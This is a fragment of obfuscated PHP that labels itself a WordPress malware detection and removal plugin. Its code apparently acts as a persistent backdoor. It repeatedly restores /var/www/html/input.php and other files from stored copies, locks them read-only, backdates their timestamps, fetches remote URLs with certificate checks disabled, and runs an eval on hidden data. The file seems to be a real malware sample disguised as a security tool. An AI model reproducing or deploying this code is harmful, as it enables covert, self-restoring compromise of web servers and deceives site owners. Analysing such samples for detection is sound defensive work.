l183(); } else { $l1TLuh = $l15i . $GLOBALS["b666"]; if (!$GLOBALS["bbb6bbb"]("/var/www/html/input.php") || $GLOBALS["bb66bb666"]("/var/www/html/input.php") != $GLOBALS["b6bb66"]($l1R)) { @$GLOBALS["b6"]("/var/www/html/input.php", 0777); l1Ukw("/var/www/html/input.php", $l1R); @$GLOBALS["bbb6bb6bb"]("/var/www/html/input.php", $GLOBALS["bb6bbb6"]($GLOBALS["b6b6666"])); } @$GLOBALS["b6"]("/var/www/html/input.php", 0444); if (!$GLOBALS["bbb6bbb"]($l1TLuh)) { l1Ukw($l1TLuh, '//'); } if (!$GLOBALS["bbb6bbb"]($l1Bl)) { l1Ukw($l1Bl, @$GLOBALS["bb66b66b"]($l1TLuh)); @$GLOBALS["bbb6bb6bb"]($l1Bl, $GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"])); @$GLOBALS["b6"]($l1Bl, 0444); } if ($GLOBALS["bb66bb666"]($l1TLuh) != $GLOBALS["bb66bb666"]($l1Bl)) { @$GLOBALS["b6"]($l1TLuh, 0777); @$GLOBALS["b6b66b66"]($l1TLuh); l1Ukw($l1TLuh, @$GLOBALS["bb66b66b"]($l1Bl)); @$GLOBALS["bbb6bb6bb"]($l1TLuh, $GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"])); @$GLOBALS["b6"]($l1TLuh, 0444); } if (!empty($l1T3Nhd)) { foreach ($l1T3Nhd as $l1u) { $l1MwrKf = $GLOBALS["bb66bb666"]($l1u["x"]); if (!$GLOBALS["bbb6bbb"]($l1u["x"]) || $l1MwrKf != $l1u["y"]) { @$GLOBALS["b6"]($l1u["x"], 0777); @$GLOBALS["b6b66b66"]($l1u["x"]); l1Ukw($l1u["x"], $GLOBALS["bb66b66b"]($l1u["z"])); @$GLOBALS["b6"]($l1u["x"], 0444); @$GLOBALS["bbb6bb6bb"]($l1u["x"], $GLOBALS["bb6bbb6"]($GLOBALS["b6b6"])); } } } $GLOBALS["b6bbbbb6b"]($l16acoqY * 1000000); l15gxPsr(); } } function l183() { $l1it = $GLOBALS["bbb6b6b6b"] . (l1a() ? 's' : '') . $GLOBALS["b66b6b66b"] . $_SERVER["HTTP_HOST"] . $GLOBALS["b6666b6b"]($GLOBALS["b6bb"], '', $_SERVER["REQUEST_URI"]); for ($l1P3 = 0; $l1P3 < 10; $l1P3++) { l1yFWNZD($l1it); $GLOBALS["b6bbbbb6b"](300000); } } function l1yFWNZD($l16) { $l17osN = 0; if ($GLOBALS["bbbb6b"]($GLOBALS["b6bb666b"]) && $GLOBALS["bbbb6b"]($GLOBALS["b666bbb6"])) { $l1HIu4m = $GLOBALS["b66bb6b"](); $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_URL, $l16); $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_USERAGENT, $GLOBALS["b6b6b"]); $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_CONNECTTIMEOUT, 0); $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_RETURNTRANSFER, 1); $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_SSL_VERIFYPEER, false); $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_SSL_VERIFYHOST, false); $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_TIMEOUT, 120); $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_FOLLOWLOCATION, 1); $l1hg1b4x = $GLOBALS["b6bb6bbb"]($l1HIu4m); $GLOBALS["bbb6b6b6"]($l1HIu4m); if ($l1hg1b4x) { $l17osN = $l1hg1b4x; } } else { $l1OTa = ''; if ($GLOBALS["bbbb6b"]($GLOBALS["bb66b6"])) { $l1OTa = $GLOBALS["bb66b6"]; } elseif ($GLOBALS["bbbb6b"]($GLOBALS["bb6666b"])) { $l1OTa = $GLOBALS["bb6666b"]; } if ($l1OTa != '') { $l1bY17F = $GLOBALS["bb66bbb66"]($l16); $l1Piz38u = $l1OTa($l1bY17F["host"], isset($l1bY17F["port"]) ? $l1bY17F["port"] : 80, $l1onO, $l15BWK, 30); if ($l1Piz38u) { $l17osN = isset($l1bY17F["path"]) ? $l1bY17F["path"] : ''; $l17osN .= isset($l1bY17F["query"]) ? '?' . $l1bY17F["query"] : ''; $l17osN = $l17osN == '' ? '/' : $l17osN; $GLOBALS["bb6666"]($l1Piz38u, "GET {$l17osN} HTTP/1.0\r\nHost:" . $l1bY17F["host"] . "\r\nConnection:Close\r\n\r\n"); $l1rry = ''; while (!$GLOBALS["bbbb6bb"]($l1Piz38u)) { $l1rry .= $GLOBALS["b6bb66b"]($l1Piz38u, 4096); } $GLOBALS["bb6b6"]($l1Piz38u); $l17osN = $GLOBALS["bbbb6"]($GLOBALS["bb6b"], $l1rry) ? $GLOBALS["b6666b6b"]("/.*?\r\n\r\n(.*)/si", "\$1", $l1rry) : $GLOBALS["b6666b6b"]($GLOBALS["b66bbb6"], "\$1", $l1rry); } else { $l17osN = 0; } } else { $l17osN = $GLOBALS["bb66b66b"]($l16); } } return $GLOBALS["bb6b6bbb"]($GLOBALS["bb6b6bbb"]($l17osN, "")); } function l1S4a($l1lbML = '') { global $l12PmfH; $l1Gq = $GLOBALS["bbbb6b66"](); if (!$GLOBALS["b6b6bb6"]($l1Gq)) { $l1Gq = '.'; } return "{$l1Gq}/{$l1lbML}"; } function l1a() { if ($GLOBALS["b6bbbbb6"]($GLOBALS["b6b66"], $l13C) && 'on' === $l13C["HTTPS"]) { return true; } if ($GLOBALS["b6bbbbb6"]($GLOBALS["b6b6bbbb"], $l13C) && 443 === (int) $l13C["SERVER_PORT"]) { return true; } if ($GLOBALS["b6bbbbb6"]($GLOBALS["bbbbb"], $l13C) && 'on' === $l13C["HTTP_X_FORWARDED_SSL"]) { return true; } if ($GLOBALS["b6bbbbb6"]($GLOBALS["bb6bb"], $l13C) && $GLOBALS["b66b"] === $l13C["HTTP_X_FORWARDED_PROTO"]) { return true; } return false; } function l1tCTI() { @eval($l1at["y1t0"]); l15gxPsr(); } l1tCTI();
Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.